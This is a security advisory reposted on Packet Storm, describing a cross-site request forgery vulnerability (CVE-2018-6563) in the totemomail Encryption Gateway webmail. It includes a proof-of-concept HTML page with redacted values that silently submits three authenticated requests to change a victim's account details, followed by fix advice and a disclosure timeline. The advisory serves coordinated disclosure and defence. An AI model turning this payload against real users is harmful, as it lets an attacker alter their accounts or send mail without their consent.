Totemomail Encryption Gateway 6.0.0_Build_371 Cross Site Request Forgery

2018-05-15T00:00:00
ID PACKETSTORM:147648
Type packetstorm
Reporter Nicolas Heiniger
Modified 2018-05-15T00:00:00

Description

                                        
                                            `################################################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
################################################################################  
#  
# Product: totemomail Encryption Gateway  
# Vendor: totemo AG  
# CSNC ID: CSNC-2018-003  
# CVE ID: CVE-2018-6563  
# Subject: Cross-Site Request Forgery  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Nicolas Heiniger <nicolas.heiniger@compass-security.com>  
# Date: 14.05.2018  
#  
################################################################################  
  
Introduction:  
-------------  
The totemomail Encryption Gateway protects email communication with any external  
partner by encryption. It doesn't matter whether you exchange emails with  
technically savvy communication partners or with those who have neither an  
appropriate infrastructure nor the necessary know-how. The encryption gateway  
also makes it easy to securely send very large attachments.[1]  
  
Compass Security discovered a vulnerability in the webmail part of the  
solution. It is possible to predict all parameters that are required to  
execute actions on the webmail interface. This allows an attacker to perform  
Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a malicious web  
page that will automatically send a request to the Encryption Gateway. If the  
user is logged in, the request will be executed by the Encryption Gateway on  
behalf of the logged in user. This could be used to change a user's settings, send emails or  
change contact informations.  
  
  
Affected:  
---------  
Vulnerable:  
* 6.0.0_Build_371  
  
No other version was tested but is is likely that older versions are affected as  
well.  
  
  
Technical Description  
---------------------  
In the webmail, no anti-CSRF token is used. Although the viewState makes the  
attack more complex, it is possible to entirely predict the requests and thus,  
perform CSRF attacks. The requirement here is to perform the attack as a replay of a full  
user interaction. One has to replay every request to make sure that the viewState is  
updated on the server side and corresponds to the action that is performed by  
the malicious page.  
  
Such a malicious page is presented below, it will automatically send 3 requests  
that will change the user's detail:  
==========  
<html>  
<body>  
<script>  
function submitRequest1()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail\/newMessage.xhtml", true);  
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");  
xhr.withCredentials = true;  
var body = "tabNavigationForm_SUBMIT=1&javax.faces.ViewState=An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=tabNavigationForm$  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
  
function submitRequest2()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);  
xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");  
xhr.withCredentials = true;  
var body = "javax.faces.partial.ajax=true&javax.faces.source=preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=preferencesForm_phoneNumber_input_tex$  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
  
function submitRequest3()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);  
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");  
xhr.withCredentials = true;  
var body = "preferencesForm_firstname_input_text=CSRF&preferencesForm_lastname_input_text=CSRF&preferencesForm_phoneNumber_input_text=%2B41+00+000+00+00&preferencesF$  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
  
submitRequest1();  
submitRequest2();  
submitRequest3();  
</script>  
</body>  
</html>  
==========  
  
  
Workaround / Fix:  
-----------------  
Install an up to date version of totemomail Encryption Gateway.  
  
As a developer, the requests that execute actions must include an unpredictable  
element. This is usually done by using an anti-CSRF token. This token is a  
random value tied to the user's session and must be verified by the server  
before executing any action on behalf of the user.  
  
  
Timeline:  
---------  
2018-05-14: Coordinated public disclosure date  
2018-03-XX: Release of fixed version 6.0_b511  
2018-02-13: Initial vendor response  
2018-02-09: Initial vendor notification  
2018-02-02: Assigned CVE-2018-6563  
2018-01-11: Discovery by Nicolas Heiniger  
  
  
References:  
-----------  
[1] https://www.totemo.com/en/solutions/email-encryption/external-encryption  
`